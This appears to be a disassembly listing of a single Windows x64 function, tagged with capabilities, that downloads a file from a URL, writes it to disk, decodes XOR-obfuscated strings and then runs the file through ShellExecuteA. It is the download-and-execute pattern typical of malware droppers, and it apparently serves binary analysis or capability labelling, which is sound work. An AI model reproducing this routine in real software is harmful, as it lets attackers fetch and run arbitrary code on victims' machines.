Function at 0x140001290
Capabilities:
Create http request
Create process on windows
Download and write a file
Encode data using xor
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rbx
push rdi
lea rbp, [r11 - 0x848]
sub rsp, 0x930
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
movzx eax, word [0x140007630]
mov rdi, rdx
movsd xmm0, qword [0x140007628]
mov rbx, rcx
movsd qword [rsp + 0x48], xmm0
lea rcx, [rsp + 0x48]
xor byte [rsp + 0x49], 0x32
xor r9d, r9d
xor byte [rsp + 0x4a], 0x33
xor r8d, r8d
xor byte [rsp + 0x4b], 0x34
xor byte [rsp + 0x4c], 0x35
xor byte [rsp + 0x4d], 0x36
xor byte [rsp + 0x4e], 0x37
xor byte [rsp + 0x4f], 0x38
mov qword [r11 + 0x18], rsi
xor esi, esi
mov word [rsp + 0x50], ax
movzx eax, byte [0x140007632]
xor byte [rsp + 0x50], 0x39
xor al, 0x3b
xor byte [rsp + 0x51], 0x3a
mov qword [r11 - 0x20], r12
mov qword [r11 - 0x28], r13
mov qword [rsp + 0x70], rdx
lea edx, [rsi + 1]
mov qword [r11 - 0x30], r14
mov byte [rsp + 0x52], al
mov qword [r11 - 0x38], r15
mov byte [rsp + 0x48], 0x44
mov dword [rsp + 0x20], esi
call qword [sym.imp.WININET.dll_InternetOpenA]
cmp qword [rbx + 0x18], 0x10
mov r13, rax
mov qword [rsp + 0x78], rax
jb 0x140001359
mov rbx, qword [rbx]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
xor ebx, ebx
mov dword [rbp - 0x4c], 4
mov rcx, rax
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x4c]
mov edx, 0x20000005
lea r8, [rbp - 0x48]
mov r14, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp qword [rdi + 0x18], 0x10
mov rcx, rdi
jb 0x1400013ac
mov rcx, qword [rdi]
movaps xmmword [rsp + 0x900], xmm6
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
movaps xmmword [rsp + 0x8f0], xmm7
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
movaps xmmword [rsp + 0x8e0], xmm8
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rbp - 0x50]
mov r8d, 0x800
lea rdx, [rbp - 0x40]
mov rcx, r14
mov r15, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r12d, dword [0x14000b020]
test eax, eax
je 0x14000169f
mov edi, 5
movaps xmmword [rsp + 0x8d0], xmm9
movsd xmm9, qword [0x140007900]
lea r13d, [rdi + 0x1a]
nop
mov r8d, dword [rbp - 0x50]
test r8d, r8d
je 0x14000168c
lea r9, [rbp - 0x44]
mov qword [rsp + 0x20], rbx
lea rdx, [rbp - 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
add esi, dword [rbp - 0x50]
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm1, xmm1
mov eax, esi
xorps xmm0, xmm0
cvtsi2sd xmm1, rax
mov eax, dword [rbp - 0x48]
cvtsi2sd xmm0, rax
mov eax, dword [0x14000770c]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x140007710]
xor byte [rsp + 0x41], 0x32
xor al, 0x35
xor byte [rsp + 0x42], 0x33
xor byte [rsp + 0x43], 0x34
divsd xmm1, xmm0
mov byte [rsp + 0x40], 0x5b
mov byte [rsp + 0x44], al
mulsd xmm1, xmm9
cvttsd2si ebx, xmm1
call fcn.140004d00
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov ecx, dword [0x140007570]
xor ebx, ebx
movsd xmm0, qword [0x140007568]
mov r10, rax
mov dword [rsp + 0x68], ecx
mov r8d, ebx
movzx ecx, byte [0x140007574]
mov byte [rsp + 0x6c], cl
movsd qword [rsp + 0x60], xmm0
cmp r12d, 2
jl 0x140001601
movdqa xmm2, xmmword [0x140007910]
mov r8d, 8
movdqa xmm3, xmmword [0x140007920]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140007960]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, edi
movd xmm5, r13d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140007930]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x140007568]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140007940]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x60], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140007930]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x64]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140007940]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
pxor xmm2, xmm0
movd dword [rsp + 0x64], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140001610
lea rdx, [rsp + 0x60]
mov rcx, r10
call fcn.140004d00
mov rcx, rax
lea rdx, [0x140007554]
call fcn.140004d00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea r9, [rbp - 0x50]
mov r8d, 0x800
lea rdx, [rbp - 0x40]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001430
mov rdi, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
movaps xmm9, xmmword [rsp + 0x8d0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm0, xmmword [0x140007728]
movzx eax, word [0x140007750]
cmp r12d, 2
movups xmm1, xmmword [0x140007738]
mov r15, qword [rsp + 0x910]
mov ecx, ebx
mov r14, qword [rsp + 0x918]
mov r13, qword [rsp + 0x920]
mov rsi, qword [rsp + 0x960]
mov r12, qword [rsp + 0x928]
movups xmmword [rbp - 0x80], xmm0
mov word [rbp - 0x58], ax
movsd xmm0, qword [0x140007748]
movzx eax, byte [0x140007752]
movsd qword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
mov byte [rbp - 0x56], al
jl 0x14000187e
movdqa xmm0, xmmword [str.1111111111111111]
lea rdx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x140007910]
mov eax, 5
movdqa xmm4, xmmword [0x140007960]
movdqa xmm7, xmmword [0x140007930]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140007940]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140007940]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x28
jl 0x140001770
cmp ecx, 0x2b
jge 0x1400018bf
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x31
xor byte [r8 - 1], al
cmp ecx, 0x2b
jl 0x140001890
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x80]
call fcn.140004d00
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
movaps xmm8, xmmword [rsp + 0x8e0]
movaps xmm7, xmmword [rsp + 0x8f0]
movaps xmm6, xmmword [rsp + 0x900]
jb 0x1400018f5
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140005320
lea rdx, [0x140004ed0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [rdi + 0x18], 0x10
jb 0x14000191b
mov rdi, qword [rdi]
mov eax, dword [str.BVZ5]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], eax
xor r9d, r9d
movzx eax, byte [0x140007564]
mov r8, rdi
xor byte [rsp + 0x41], 0x32
xor al, 0x35
xor byte [rsp + 0x42], 0x33
xor ecx, ecx
xor byte [rsp + 0x43], 0x34
mov dword [rsp + 0x28], 0xa
mov byte [rsp + 0x44], al
mov byte [rsp + 0x40], 0x6f
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.140005550
add rsp, 0x930
pop rdi
pop rbx
pop rbp
ret